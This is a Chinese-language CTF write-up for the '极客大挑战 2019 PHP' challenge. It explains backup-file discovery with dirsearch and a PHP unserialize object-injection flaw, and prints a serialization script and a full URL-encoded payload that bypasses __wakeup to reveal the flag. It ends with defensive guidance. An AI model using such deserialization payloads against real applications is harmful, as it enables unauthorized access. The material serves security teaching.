[极客大挑战 2019]PHP

[极客大挑战 2019]PHP

解题步骤

启动靶场,页面有只玩球的小猫,上面提示有备份文件的习惯,触发关键词直接猜测是备份文件泄露

2

常见的网站源码备份文件后缀:
zip,rar,tar,7z,tar.gz,bak,txt,pdf
常见的网站源码备份文件名:
web,website,backup,back,www,wwwroot,temp



扫目录

使用 dirsearch 工具来扫目录,该工具kali内置,可以直接使用kali也可以去github上下

dirsearch下载地址:https://github.com/maurosoria/dirsearch

1

扫出www.zip文件,在网址上拼接将文件下载下来,并解压

3

代码审计

看到flag文件,直接查看
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

发现只是定义了一个字符串,应该不可能这么简单就拿到flag


我们访问index.php,基本都是前端我们直接找到后端代码

<?php
include 'class.php';           // 包含了class.php文件
$select = $_GET['select'];     // 以GET方式获取名为 select 的参数值,并将其赋值给变量 $select
$res=unserialize(@$select);    // unserialize 函数会将字符串反序列化为 PHP 值
?>

从这可以看出这是一道反序列题目而不是简单的文件泄露,所有我们接着往下看

unserialize 的危险性
unserialize 函数会将字符串反序列化为 PHP 值。如果 $select 可以被用户控制(如通过 $_GET 获取),攻击者可以构造恶意的序列化字符串,导致代码执行漏洞(如对象注入攻击)。攻击者可以通过反序列化创建恶意对象,从而调用对象中的方法,执行任意代码。

例如,如果 class.php 中定义了某些类,并且这些类中有可被利用的魔术方法(如 __toString、__destruct 等),攻击者可以构造序列化字符串,使得这些魔术方法被触发,从而执行恶意代码。


顺着包含的文件查看,访问class.php
<?php
include 'flag.php';      // 包含flag文件

error_reporting(0);      // 关闭错误报告

class Name{      // 定义类Name
    private $username = 'nonono';      // 定义私有属性username
    private $password = 'yesyes';      // 定义私有属性password

    public function __construct($username,$password){      // 构造函数
        $this->username = $username;      // 设置私有属性username
        $this->password = $password;      // 设置私有属性password
    }

    function __wakeup(){                // 有反序列化时调用魔术方法
        $this->username = 'guest';      // 重置私有属性username
    }

    function __destruct(){              // 析构函数
        if ($this->password != 100) {              // 判断私有属性password是否等于100
            echo "</br>NO!!!hacker!!!</br>";       // 输出错误信息
            echo "You name is: ";                  // 输出用户名
            echo $this->username;echo "</br>";
            echo "You password is: ";              // 输出密码
            echo $this->password;echo "</br>";
            die();      // 结束脚本
        }
        if ($this->username === 'admin') {         // 判断用户名是否等于admin
            global $flag;            // 声明全局变量$flag
            echo $flag;              // 输出flag
        }else{         // 否则
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";    // 输出提示信息
            die();      // 结束脚本
            
        }
    }
}
?>

开头包含了flag文件,在类里定义了两个私有变量,并定义有三个函数__construct,__wakeup,__destruct

其中 __construct 没什么用,因为此魔术方法只在实例化时调用一次,我们并没有直接实例化该类所以这里并没有实际性作用

之后 __wakeup 魔术方法,判定到有序列化时就会让我们传入的 username 变量等于 guest,这个是我们需要特别绕过的点,绕过条件是当成员属性数目大于实际数目时即可绕过

最后 __desctruct 函数,在类结束的时候会调用,该函数第一个判断如果 password 不等于100,则会输出黑客,并输出账户和密码,然后退出函数,第二个判断如果 username 等于 admine 就会输出 flag 否则 失败!

所有我们这边主要要绕过这两个函数的判断,只要我们的密码等于100并且用户是admin就可以成功绕过

username = admin
password = 100



编写脚本

因为是反序列题目,所有我们这边为了方便构造我们的payload,这边直接写一个小脚本
<?php
class Name{
    private $username;
    private $password;

    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
}

$select = new Name("admin",100);    // 实例化对象
$res = serialize($select);          // 序列化对象
echo $res;                          // 输出序列化后的字符串
?>

最后输出得到

O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}

前面提到过要绕过 wakeup 当成员属性数目就要大于实际数目时才可绕过

所以我们要将 2 改为 3 或者任意比二大的数字

同时,要将空格改为 %00 若不改,我们的空格在url里无法识别,所以如下:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

完整payload

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

4

最后拼接url得到flagflag{2dd96abd-82b0-4f88-9fb5-754d1b704c08}



总结

对于class文件

永远不要直接反序列化用户输入的数据,尤其是使用 unserialize。

严格验证和限制输入,确保只允许安全的数据通过。

正确处理错误,不要使用 @ 来抑制错误。

使用 allowed_classes 参数,限制可以被反序列化的类

反序列化漏洞是一种严重的安全问题,可能导致远程代码执行、数据泄露和拒绝服务攻击。通过避免反序列化不可信数据、使用白名单验证、使用安全替代方案、最小化权限、及时更新依赖库以及进行输入过滤与日志监控,可以有效降低反序列化漏洞的风险。

posted @ 2025-06-26 23:54  云懿  阅读(114)  评论(0)    收藏  举报